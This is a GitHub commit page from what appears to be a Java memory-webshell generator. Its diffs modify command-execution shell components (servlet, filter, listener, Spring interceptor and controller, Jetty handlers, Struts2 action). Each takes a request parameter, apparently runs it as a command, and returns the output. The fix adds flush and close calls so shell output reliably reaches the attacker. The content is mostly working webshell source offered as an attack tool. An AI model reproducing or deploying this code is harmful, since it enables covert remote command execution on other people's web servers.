Skip to content

Commit 4070546

Browse files
committed
fix: shell connect failed due to empty body
1 parent 9140ad7 commit 4070546

26 files changed

+59
-33
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -27,6 +27,8 @@ public boolean equals(Object obj) {
2727
InputStream inputStream = getInputStream(param);
2828
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
2929
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
30+
outputStream.flush();
31+
outputStream.close();
3032
return true;
3133
}
3234
} catch (Throwable e) {

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java

Lines changed: 4 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@
77
import javax.servlet.http.HttpServletRequest;
88
import javax.servlet.http.HttpServletResponse;
99
import java.io.InputStream;
10+
import java.util.Scanner;
1011

1112
/**
1213
* @author ReaJason
@@ -24,12 +25,9 @@ public ModelAndView handleRequest(HttpServletRequest request, HttpServletRespons
2425
if (p != null) {
2526
String param = getParam(p);
2627
InputStream inputStream = getInputStream(param);
27-
ServletOutputStream outputStream = response.getOutputStream();
28-
byte[] buf = new byte[8192];
29-
int length;
30-
while ((length = inputStream.read(buf)) != -1) {
31-
outputStream.write(buf, 0, length);
32-
}
28+
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
29+
response.getWriter().flush();
30+
response.getWriter().close();
3331
}
3432
} catch (Throwable e) {
3533
e.printStackTrace();

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java

Lines changed: 4 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@
55
import javax.servlet.http.HttpServletResponse;
66
import java.io.IOException;
77
import java.io.InputStream;
8+
import java.util.Scanner;
89

910
/**
1011
* @author ReaJason
@@ -25,12 +26,9 @@ public void doFilter(ServletRequest request, ServletResponse response, FilterCha
2526
if (p != null) {
2627
String param = getParam(p);
2728
InputStream inputStream = getInputStream(param);
28-
ServletOutputStream outputStream = servletResponse.getOutputStream();
29-
byte[] buf = new byte[8192];
30-
int length;
31-
while ((length = inputStream.read(buf)) != -1) {
32-
outputStream.write(buf, 0, length);
33-
}
29+
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
30+
response.getWriter().flush();
31+
response.getWriter().close();
3432
return;
3533
}
3634
} catch (Throwable e) {

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandInterceptor.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,8 @@ public boolean preHandle(HttpServletRequest request, HttpServletResponse respons
2626
String param = getParam(p);
2727
InputStream inputStream = getInputStream(param);
2828
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
29+
response.getWriter().flush();
30+
response.getWriter().close();
2931
return false;
3032
}
3133
} catch (Throwable e) {

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyAgentHandler.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -43,6 +43,8 @@ public boolean equals(Object obj) {
4343
InputStream inputStream = getInputStream(param);
4444
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
4545
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
46+
outputStream.flush();
47+
outputStream.close();
4648
if (baseRequest != null) {
4749
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
4850
}

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyCustomizer.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -32,6 +32,8 @@ public void customize(Connector connector, HttpConfiguration channelConfig, Requ
3232
InputStream inputStream = getInputStream(param);
3333
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
3434
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
35+
outputStream.flush();
36+
outputStream.close();
3537
invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});
3638
}
3739
} catch (Throwable e) {

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -40,6 +40,8 @@ public boolean handle(Object request, Object response) {
4040
InputStream inputStream = getInputStream(param);
4141
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
4242
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
43+
outputStream.flush();
44+
outputStream.close();
4345
return true;
4446
}
4547
} catch (Throwable e) {

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java

Lines changed: 5 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@
66
import javax.servlet.http.HttpServletRequest;
77
import javax.servlet.http.HttpServletResponse;
88
import java.io.InputStream;
9+
import java.util.Scanner;
910

1011
/**
1112
* @author ReaJason
@@ -23,14 +24,11 @@ public void requestInitialized(ServletRequestEvent servletRequestEvent) {
2324
}
2425
if (p != null) {
2526
String param = getParam(p);
26-
HttpServletResponse servletResponse = (HttpServletResponse) getResponseFromRequest(request);
27+
HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request);
2728
InputStream inputStream = getInputStream(param);
28-
ServletOutputStream outputStream = servletResponse.getOutputStream();
29-
byte[] buf = new byte[8192];
30-
int length;
31-
while ((length = inputStream.read(buf)) != -1) {
32-
outputStream.write(buf, 0, length);
33-
}
29+
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
30+
response.getWriter().flush();
31+
response.getWriter().close();
3432
}
3533
} catch (Throwable e) {
3634
e.printStackTrace();

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java

Lines changed: 4 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@
77
import javax.servlet.http.HttpServletResponse;
88
import java.io.IOException;
99
import java.io.InputStream;
10+
import java.util.Scanner;
1011

1112
/**
1213
* @author ReaJason
@@ -30,12 +31,9 @@ protected void doPost(HttpServletRequest request, HttpServletResponse response)
3031
if (p != null) {
3132
String param = getParam(p);
3233
InputStream inputStream = getInputStream(param);
33-
ServletOutputStream outputStream = response.getOutputStream();
34-
byte[] buf = new byte[8192];
35-
int length;
36-
while ((length = inputStream.read(buf)) != -1) {
37-
outputStream.write(buf, 0, length);
38-
}
34+
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
35+
response.getWriter().flush();
36+
response.getWriter().close();
3937
}
4038
} catch (Throwable e) {
4139
e.printStackTrace();

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruct2Action.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -29,6 +29,7 @@ public String execute() throws Exception {
2929
InputStream inputStream = getInputStream(param);
3030
response.getWriter().println(new Scanner(inputStream).useDelimiter("\\A").next());
3131
response.getWriter().flush();
32+
response.getWriter().close();
3233
}
3334
} catch (Throwable ignored) {
3435
}

0 commit comments

Comments
 (0)